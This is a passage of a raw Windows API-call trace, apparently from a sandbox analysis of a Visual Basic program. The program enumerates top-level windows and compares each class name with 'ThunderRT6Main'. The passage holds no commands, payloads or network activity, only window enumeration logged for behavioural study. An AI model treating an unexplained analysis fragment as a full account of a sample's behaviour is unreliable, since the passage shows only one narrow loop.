(lpString1="absolutetelnet_window", lpString2="ThunderRT6Main") returned -1 [0091.731] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0091.731] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0091.731] GetClassNameA (in: hWnd=0x101b2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.731] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.731] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0091.731] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0091.731] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="3dftp_win") returned 9 [0091.731] lstrcmpA (lpString1="3dftp_win", lpString2="ThunderRT6Main") returned -1 [0091.731] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0091.731] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0091.731] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.731] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.731] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0091.731] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0091.731] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="purchaseclass") returned 13 [0091.731] lstrcmpA (lpString1="purchaseclass", lpString2="ThunderRT6Main") returned -1 [0091.731] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0091.731] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0091.731] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.731] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.731] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0091.732] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0091.732] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bent_Individually_class") returned 23 [0091.732] lstrcmpA (lpString1="bent_Individually_class", lpString2="ThunderRT6Main") returned -1 [0091.732] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0091.732] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0091.732] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.732] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.732] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0091.732] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0091.732] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="cruises_Thickness_cls") returned 21 [0091.732] lstrcmpA (lpString1="cruises_Thickness_cls", lpString2="ThunderRT6Main") returned -1 [0091.732] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0091.732] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0091.732] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.732] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.732] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0091.732] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0091.732] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Bloomansweringwnd") returned 17 [0091.732] lstrcmpA (lpString1="Bloomansweringwnd", lpString2="ThunderRT6Main") returned -1 [0091.732] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0091.732] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0091.732] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.732] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.732] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0091.732] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0091.732] GetClassNameA (in: hWnd=0x10198, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Ownerbmwin") returned 10 [0091.732] lstrcmpA (lpString1="Ownerbmwin", lpString2="ThunderRT6Main") returned -1 [0091.732] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0091.732] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0091.732] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.732] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.732] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0091.733] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0091.733] GetClassNameA (in: hWnd=0x10194, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="hawk_Tasks_app") returned 14 [0091.733] lstrcmpA (lpString1="hawk_Tasks_app", lpString2="ThunderRT6Main") returned -1 [0091.733] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0091.733] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0091.733] GetClassNameA (in: hWnd=0x10196, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.733] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.733] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0091.733] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0091.733] GetClassNameA (in: hWnd=0x10190, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Bernard_award_window") returned 20 [0091.733] lstrcmpA (lpString1="Bernard_award_window", lpString2="ThunderRT6Main") returned -1 [0091.733] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0091.733] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0091.733] GetClassNameA (in: hWnd=0x10192, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.733] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.733] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0091.733] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0091.733] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bluescls") returned 8 [0091.733] lstrcmpA (lpString1="bluescls", lpString2="ThunderRT6Main") returned -1 [0091.733] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0091.733] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0091.733] GetClassNameA (in: hWnd=0x2018e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.733] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.733] GetWindowThreadProcessId (in: hWnd=0x2018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0091.733] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0091.733] GetClassNameA (in: hWnd=0x10186, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="promotingweightedcls") returned 20 [0091.733] lstrcmpA (lpString1="promotingweightedcls", lpString2="ThunderRT6Main") returned -1 [0091.733] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0091.733] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0091.733] GetClassNameA (in: hWnd=0x10188, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.733] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.733] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0091.733] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0091.733] GetClassNameA (in: hWnd=0x10180, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WordsRetainedremovalapp") returned 23 [0091.734] lstrcmpA (lpString1="WordsRetainedremovalapp", lpString2="ThunderRT6Main") returned 1 [0091.734] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0091.734] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0091.734] GetClassNameA (in: hWnd=0x10184, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.734] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.734] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0091.734] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0091.734] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="famemoderatorwindow") returned 19 [0091.734] lstrcmpA (lpString1="famemoderatorwindow", lpString2="ThunderRT6Main") returned -1 [0091.734] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0091.734] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0091.734] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.734] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.734] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0091.734] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0091.734] GetClassNameA (in: hWnd=0x10178, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Gpluckywindow") returned 13 [0091.734] lstrcmpA (lpString1="Gpluckywindow", lpString2="ThunderRT6Main") returned -1 [0091.734] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0091.734] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0091.734] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.734] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.734] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0091.734] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0091.734] GetClassNameA (in: hWnd=0x10174, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="mediterraneanTallwin") returned 20 [0091.734] lstrcmpA (lpString1="mediterraneanTallwin", lpString2="ThunderRT6Main") returned -1 [0091.734] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0091.734] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0091.734] GetClassNameA (in: hWnd=0x10176, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.734] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.734] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0091.734] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0091.734] GetClassNameA (in: hWnd=0x20170, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Essays_Attorneys_wnd") returned 20 [0091.735] lstrcmpA (lpString1="Essays_Attorneys_wnd", lpString2="ThunderRT6Main") returned -1 [0091.735] GetWindowThreadProcessId (in: hWnd=0x20170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0091.735] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0091.735] GetClassNameA (in: hWnd=0x10172, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.735] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.735] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0091.735] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0091.735] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Adequate_Downloading_window") returned 27 [0091.735] lstrcmpA (lpString1="Adequate_Downloading_window", lpString2="ThunderRT6Main") returned -1 [0091.735] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0091.735] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0091.735] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.735] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.735] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0091.735] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0091.735] GetClassNameA (in: hWnd=0x10168, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Cruises_Construct_win") returned 21 [0091.735] lstrcmpA (lpString1="Cruises_Construct_win", lpString2="ThunderRT6Main") returned -1 [0091.735] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0091.735] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0091.735] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.735] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.735] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0091.735] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0091.735] GetClassNameA (in: hWnd=0x10164, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Causing_Fighting_platinum_") returned 26 [0091.735] lstrcmpA (lpString1="Causing_Fighting_platinum_", lpString2="ThunderRT6Main") returned -1 [0091.735] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0091.735] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0091.735] GetClassNameA (in: hWnd=0x10166, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.735] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.735] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0091.735] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0091.735] GetClassNameA (in: hWnd=0x10160, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ConflictBindingunit") returned 19 [0091.736] lstrcmpA (lpString1="ConflictBindingunit", lpString2="ThunderRT6Main") returned -1 [0091.736] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0091.736] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0091.736] GetClassNameA (in: hWnd=0x10162, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.736] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.736] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0091.736] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0091.736] GetClassNameA (in: hWnd=0x300fa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Packrxapp") returned 9 [0091.736] lstrcmpA (lpString1="Packrxapp", lpString2="ThunderRT6Main") returned -1 [0091.736] GetWindowThreadProcessId (in: hWnd=0x300fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0091.736] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0091.736] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.736] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.736] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0091.736] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0091.736] GetClassNameA (in: hWnd=0x50102, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Cells_Surfaces_window") returned 21 [0091.736] lstrcmpA (lpString1="Cells_Surfaces_window", lpString2="ThunderRT6Main") returned -1 [0091.736] GetWindowThreadProcessId (in: hWnd=0x50102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0091.736] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0091.736] GetClassNameA (in: hWnd=0x30108, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.736] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.736] GetWindowThreadProcessId (in: hWnd=0x30108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0091.736] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0091.736] GetClassNameA (in: hWnd=0x3015a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0091.736] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0091.736] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0091.736] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0091.736] GetClassNameA (in: hWnd=0x10146, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0091.736] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0091.736] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0091.736] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0091.736] GetClassNameA (in: hWnd=0x10144, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0091.736] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0091.737] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0091.737] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0091.737] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0091.737] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0091.737] GetWindowThreadProcessId (in: hWnd=0x2013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0091.737] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0091.737] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0091.737] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0091.737] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0091.737] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0091.737] GetClassNameA (in: hWnd=0x10130, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.737] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.737] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0091.737] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0091.737] GetClassNameA (in: hWnd=0x10124, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBEA41F0") returned 20 [0091.737] lstrcmpA (lpString1="ATL:000007FEFBEA41F0", lpString2="ThunderRT6Main") returned -1 [0091.737] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0091.737] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0091.737] GetClassNameA (in: hWnd=0x10126, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.737] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.737] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0091.737] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0091.737] GetClassNameA (in: hWnd=0x10118, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0091.737] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0091.737] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0091.737] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0091.737] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.737] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.737] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0091.737] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0091.737] GetClassNameA (in: hWnd=0x10116, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0091.737] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0091.737] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0091.738] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0091.738] GetClassNameA (in: hWnd=0x20018, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0091.738] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0091.738] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0091.738] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0091.738] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.738] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.738] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0091.738] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0091.738] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0091.738] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0091.738] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0091.738] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0091.738] GetClassNameA (in: hWnd=0x20016, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.738] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.738] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0091.738] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0091.738] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0091.738] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0091.738] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0091.738] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0091.738] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.738] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.738] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0091.738] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0091.738] GetClassNameA (in: hWnd=0x10106, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0091.738] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0091.738] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x570 [0091.738] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0091.738] GetClassNameA (in: hWnd=0x10104, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0091.738] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0091.738] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0091.739] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0091.739] GetClassNameA (in: hWnd=0x10100, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0091.739] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0091.739] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0091.739] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0091.739] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0091.739] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0091.739] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x53c [0091.739] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0091.739] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0091.739] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0091.739] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.739] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0091.739] GetClassNameA (in: hWnd=0x10084, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0091.739] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0091.739] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0091.739] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0091.739] 